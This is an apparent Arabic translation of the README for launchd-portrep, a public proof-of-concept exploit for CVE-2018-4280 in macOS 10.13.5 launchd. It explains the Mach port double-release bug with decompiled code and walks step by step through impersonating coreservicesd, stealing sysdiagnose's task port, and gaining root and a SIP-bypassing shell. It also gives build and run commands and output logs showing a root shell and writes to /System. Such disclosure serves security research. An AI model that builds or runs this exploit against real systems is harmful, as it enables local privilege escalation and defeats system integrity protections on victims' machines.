
CVE-2018-4280: ثغرة استبدال منفذ Mach في launchd على macOS 10.13.5 تؤدي إلى تصعيد الامتيازات المحلية وتجاوز SIP.
launchd-portrep هو استغلال لثغرة استبدال المنفذ (port replacement) في launchd، وهي العملية الأولية في فضاء المستخدم وداemon إدارة الخدمات في macOS. من خلال إرسال رسالة Mach مصمّمة إلى منفذ bootstrap، يمكن إجبار launchd على تحرير حقه في الإرسال (send right) لأي منفذ Mach يمتلكه المهاجم أيضًا حق الإرسال فيه. وهذا يسمح للمهاجم بانتحال هوية أي خدمة launchd يمكنه البحث عنها لباقي النظام.
يقوم launchd بمعالجة متعددة لمعالجات رسائل Mach المختلفة عبر منفذه الرئيسي، بما في ذلك معالج MIG للرسائل الاستثنائية. إذا أرسلت عملية رسالة mach_exception_raise أو mach_exception_raise_state_identity إلى منفذ bootstrap الخاص بها، فسيستقبل launchd تلك الرسالة ويعالجها كاستثناء على مستوى المضيف.
لسوء الحظ، فإن معالجة launchd لهذه الرسائل معيبة. إذا كان نوع الاستثناء هو EXC_CRASH، فسيقوم launchd بتحرير منافذ thread و task المرسلة في الرسالة ثم يعيد KERN_FAILURE من دالة الخدمة، مما يؤدي إلى قيام نظام MIG بتحرير منافذ thread و task مرة أخرى. (الافتراض هو أنه إذا أعادت دالة الخدمة نجاحًا، فقد استولت على جميع الموارد في رسالة Mach، بينما إذا أعادت خطأً، فلم تستولِ على أي من الموارد.)
هذا هو الكود من دالة خدمة launchd لرسائل mach_exception_raise، تم تفكيكه باستخدام IDA/Hex-Rays وتحريره قليلاً للقراءة:
kern_return_t __fastcall
catch_mach_exception_raise( // (a) يتم استدعاء دالة الخدمة
mach_port_t exception_port, // بقيم مباشرة من رسالة Mach
mach_port_t thread, // التي أرسلها العميل. يمكن أن
mach_port_t task, // تكون منافذ thread و task
unsigned int exception, // حقوق إرسال عشوائية.
mach_exception_data_t code, //
unsigned int codeCnt)
{
kern_return_t kr; // eax@1 MAPDST
kern_return_t result; // eax@10
int pid; // [rsp+14h] [rbp-43Ch]@1
char codes_str[1024]; // [rsp+20h] [rbp-430h]@5
__int64 __stack_guard; // [rsp+420h] [rbp-30h]@1
__stack_guard = *__stack_chk_guard_ptr;
pid = -1;
kr = pid_for_task(task, &pid);
if ( kr )
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
if ( codeCnt )
{
do
{
__snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
++code;
--codeCnt;
}
while ( codeCnt );
}
launchd_log_2(
0LL,
3LL,
"Host-level exception raised: pid = %d, thread = 0x%x, "
"exception type = 0x%x, codes = { %s }",
pid,
thread,
exception,
codes_str);
kr = deallocate_mach_port(thread); // (b) يتم تحرير منفذ "thread" المرسل
if ( kr ) // في الرسالة.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
kr = deallocate_mach_port(task); // (c) يتم تحرير منفذ "task" المرسل
if ( kr ) // في الرسالة.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
result = 0;
if ( *__stack_chk_guard_ptr == __stack_guard )
{
LOBYTE(result) = exception == 10; // (d) إذا كان نوع الاستثناء هو 10
result *= 5; // (EXC_CRASH)، فسيتم إرجاع خطأ
} // KERN_FAILURE.
return result; // سيقوم MIG بتحرير المنافذ
} // مرة أخرى.
هذا التحريف المزدوج لأسماء المنافذ مشكلة لأنه يمكن لعملية تعيين أي منافذ تريدها كمنافذ task و thread في رسالة الاستثناء. لا يقوم launchd بأي تحقق من أن حقوق الإرسال المستلمة تتوافق فعليًا مع thread و task؛ قد تكون المنافذ، على سبيل المثال، حقوق إرسال لمنافذ موجودة بالفعل في فضاء IPC الخاص بـ launchd. ثم سيؤدي التحريف المزدوج إلى قيام launchd بإسقاط مرجع مستخدم على أحد منافذه الخاصة.
يمكن استغلال هذا الخلل لتحرير حق إرسال launchd لأي منفذ Mach يمتلكه أيضًا حق إرسال في العملية المهاجمة. على وجه الخصوص، إذا كانت العملية المهاجمة يمكنها البحث عن خدمة نظام باستخدام launchd، فيمكنها تحرير حق إرسال launchd لتلك الخدمة ثم انتحال شخصية الخدمة لباقي النظام. بعد ذلك، هناك العديد من الطرق المختلفة للحصول على امتيازات النظام.
هذا الخلل هو نسخة أقل عمومية من CVE-2016-7637، وهي مشكلة في التعامل مع مراجع المستخدم لمنافذ Mach في XNU اكتشفها Ian Beer وسمحت للعمليات بتحرير منافذ Mach في عمليات أخرى. استغل Ian Beer تلك الثغرة على macOS عن طريق استبدال حق إرسال launchd إلى نقطة نهاية خدمة com.apple.CoreServices.coreservicesd وانتحال شخصية coreservicesd لباقي النظام. coreservicesd هو هدف جذاب لأنه واحد من الخدمات القليلة التي سيرسل إليها العملاء منفذ المهمة (task port) الخاص بهم في رسالة Mach. من خلال استبدال حق إرسال launchd إلى coreservicesd بمنفذ خاص به ثم تشغيل عملاء مميزين للبحث عن coreservicesd والتواصل معه، تمكن من الحصول على منفذ المهمة لعملية مميزة ثم تنفيذ كود داخلها.
بما أن السلوك على macOS لم يتغير، فقد قمت بنسخ استراتيجية Ian Beer لهذه الثغرة. نرسل رسائل استثناء إلى launchd تحتوي على منفذ خدمة coreservicesd حتى نحرر حق إرسال launchd لذلك المنفذ. يمكننا اكتشاف متى حررنا الحق عن طريق استدعاء bootstrap_look_up() مرة أخرى على الخدمة: إذا أعاد launchd اسم منفذ غير صالح، فقد نجحنا في تحرير حق إرسال launchd للمنفذ. بعد ذلك، نقوم بتسجيل وإلغاء تسجيل عدد كبير من الخدمات مع launchd بشكل متكرر حتى يتم تعيين نفس اسم منفذ Mach في فضاء IPC الخاص بـ launchd مثل منفذ coreservicesd الأصلي. في هذه المرحلة، أي عملية تبحث عن com.apple.CoreServices.coreservicesd في launchd ستحصل على حق إرسال لخدمتنا المزيفة بدلاً من coreservicesd الحقيقي. ثم نقوم بتشغيل خادم MITM على منفذ الخدمة المزيف، لفحص جميع منافذ Mach في الرسائل المستلمة من العملاء قبل إرسالها إلى coreservicesd الحقيقي. في هذه المرحلة، نرسل رسالة إلى sysdiagnose مما يجعله يشغل tailspin، مما يؤدي إلى اتصال sysdiagnose بمنفذ coreservicesd المزيف وإرسال منفذ مهمته إلينا. نظرًا لأن sysdiagnose لديه صلاحية task_for_pid-allow، يمكننا الآن الحصول على منفذ المهمة لأي عملية.
لإعادة الوظائف الطبيعية للنظام (إلى حد كبير)، نستخدم sysdiagnose للحصول على منفذ مهمة launchd، ثم نستخدم منفذ مهمة launchd لاستبدال حق إرسال launchd إلى منفذ خدمتنا المزيفة بحق إرسال إلى coreservicesd الحقيقي. بهذه الطريقة، يمكن للعملاء المستقبليين الوصول فعليًا إلى coreservicesd.
مشكلة واحدة لاحظتها مع هذا النهج هي أن النظام يبدو أنه يتعطل عند الإغلاق لفترة قصيرة. أفترض أن هذا بسبب أن العبث بمنافذ launchd يخل ببعض محاسبة launchd أو إشعارات المنفذ. لم أتحقق من هذه المشكلة أكثر، ولكن إعادة تشغيل coreservicesd باستخدام launchctl يبدو أنه يحلها:
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd
بمجرد أن يكون لدينا تنفيذ كود داخل عملية task_for_pid-allow، يمكننا التحكم في أي مهمة على النظام. هذا رائع لأنه ليس فقط يمكننا القيام برفع الامتيازات القياسي، ولكن يمكننا أيضًا تجاوز SIP عن طريق حقن كود في العمليات المخولة بـ SIP.
يوضح هذا الاستغلال استخدامين محتملين: تنفيذ أوامر النظام كجذر وحقن المكتبات الديناميكية. لتنفيذ أمر نظام، نقوم ببساطة باستدعاء دالة system() القياسية من داخل sysdiagnose، مررين سلسلة الأمر التي قدمها المستخدم. لحقن مكتبة ديناميكية في عملية، نستدعي task_for_pid() من داخل sysdiagnose للحصول على منفذ مهمة الهدف، ثم نستخدم منفذ المهمة لاستدعاء dlopen() على المكتبة المقدمة.
لبناء الاستغلال المستقل launchd-portrep، قم بتشغيل make. راجع أعلى Makefile لخيارات البناء المختلفة. ستحتاج إلى تنزيل وبناء مكتبة الحقن threadexec أولاً.
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make
لاحظ أن الاستغلال كما هو مكتوب سيفشل إذا كانت عملية sysdiagnose قيد التشغيل بالفعل. لذلك، لأغراض هذا الدليل المفاهيمي، تأكد من قتل sysdiagnose قبل تشغيل الاستغلال. (من الممكن إعادة صياغة الاستغلال بحيث يعمل حتى إذا كان sysdiagnose قيد التشغيل بالفعل، لكنني قررت عدم تضمين هذه الوظيفة لثني الأشخاص عن استخدام هذه الأداة لأغراض ضارة.)
قم بتشغيل الاستغلال عن طريق تحديد الأمر الذي سيتم تشغيله كما لو تم إعطاؤه لدالة system():
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] تم تحرير منفذ خدمة launchd لـ com.apple.CoreServices.coreservicesd
[+] تم استبدال com.apple.CoreServices.coreservicesd بمنفذ بديل 0xd77 (index 196) بعد 28 محاولة
[+] sysdiagnose لديه PID 499
[+] تم العثور على منفذ مهمة sysdiagnose 0x1767b
[+] الأمر خرج بحالة: 0
$ ls -la /tmp/exploit-success
-rw-r--r-- 1 root wheel 0 Jul 24 23:50 /tmp/exploit-success
بدلاً من ذلك، إذا قمت بتحديد PID ومسار مطلق لملف مكتبة ديناميكية، فسيقوم launchd-portrep بحقن المكتبة في العملية المحددة.
هناك أيضًا سكربتات مثالين تغلف launchd-portrep: launchd-portrep-rootsh.sh و launchd-portrep-rootless.sh.
launchd-portrep-rootsh.sh سيعرض شيل جذر تقليدي عن طريق تثبيت مشغل شيل setuid-root تحت /var/suid-sh. (يتم إزالة شيل setuid تلقائيًا بعد ثانية واحدة.)
$ bash ./launchd-portrep-rootsh.sh
[+] تم تحرير منفذ خدمة launchd لـ com.apple.CoreServices.coreservicesd
[+] تم استبدال com.apple.CoreServices.coreservicesd بمنفذ بديل 0x153b (index 192) بعد 60 محاولة
[+] sysdiagnose لديه PID 1231
[+] تم العثور على منفذ مهمة sysdiagnose 0x1df7b
[+] الأمر خرج بحالة: 0
جاري تشغيل /private/var/suid-sh
bash-3.2#
launchd-portrep-rootless.sh هو أكثر إثارة للاهتمام: فهو يقدم شيلًا حيث تم تعطيل قيود rootless على نظام الملفات. يفعل ذلك عن طريق تشغيل diskmanagementd، الذي لديه صلاحية com.apple.rootless.install.heritable، ثم حقن مكتبة ديناميكية في diskmanagementd تجعله يقوم بتشغيل شيل مع ربط stdin و stdout بأنابيب مسماة. كما يشير اسم الصلاحية، فإن الإعفاءات من SIP الممنوحة بواسطة com.apple.rootless.install.heritable سيتم تمريرها إلى العمليات الفرعية، مما يعني أن الشيل وجميع الأوامر التي تشغلها فيه معفاة بشكل أساسي من حماية نظام الملفات SIP.
$ bash ./launchd-portrep-rootless.sh
[+] تم تحرير منفذ خدمة launchd لـ com.apple.CoreServices.coreservicesd
[+] تم استبدال com.apple.CoreServices.coreservicesd بمنفذ بديل 0xe7b (index 194) بعد 60 محاولة
[+] sysdiagnose لديه PID 1145
[+] تم العثور على منفذ مهمة sysdiagnose 0x1747b
[+] الأمر خرج بحالة: 0
[+] تم تحرير منفذ خدمة launchd لـ com.apple.CoreServices.coreservicesd
[+] تم استبدال com.apple.CoreServices.coreservicesd بمنفذ بديل 0x13d7b (index 199) بعد 61 محاولة
[+] sysdiagnose لديه PID 1162
[+] تم العثور على منفذ مهمة sysdiagnose 0xbe47
[+] تم الحصول على منفذ مهمة 0xa07 لـ PID 1153
[+] تم تحميل "/Users/bazad/Developer/GitHub/launchd-portrep/rootless-sh.dylib" بنجاح في العملية 1153
bash: no job control in this shell
bash-3.2# csrutil status
System Integrity Protection status: enabled.
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 4 root wheel restricted 128 Jul 25 19:08 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
bash-3.2# touch /System/exploit-success
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 5 root wheel restricted 160 Jul 25 19:19 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
-rw-r--r-- 1 root wheel restricted 0 Jul 25 19:19 exploit-success
bash-3.2# exit
تم اختبار launchd-portrep على macOS 10.13.5 17F77.
تم إصدار كود launchd-portrep بموجب ترخيص MIT.
Brandon Azad